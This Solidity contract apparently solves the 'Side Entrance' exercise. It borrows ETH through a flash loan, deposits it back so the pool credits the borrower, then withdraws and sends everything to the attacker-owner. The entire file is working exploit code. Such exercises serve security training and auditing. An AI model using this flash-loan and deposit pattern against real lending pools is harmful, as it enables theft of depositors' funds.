SideEntranceAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttack {
    SideEntranceLenderPool immutable pool;
    address immutable owner;

    receive() external payable {}

    constructor(address _pool) {
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }

    function executeFlashLoan(uint256 _amount) external payable {
        require(owner == msg.sender);
        pool.flashLoan(_amount);
    }

    function execute() external payable {
        // Use the 1000 ETH received to call deposit() function on the pool,
        // and increment the balance of this contract in Pool's mapping to
        // 1000 ETH without actually incrementing the pool 's ETH balance.
        pool.deposit{value: msg.value}();
    }

    function withdraw() external returns (bool) {
        require(owner == msg.sender);

        // Withdraw from pool's balance to this contract
        pool.withdraw();

        // Send from this contract to owner (attacker)
        (bool success, ) = owner.call{value: address(this).balance}("");
        return success;
    }
}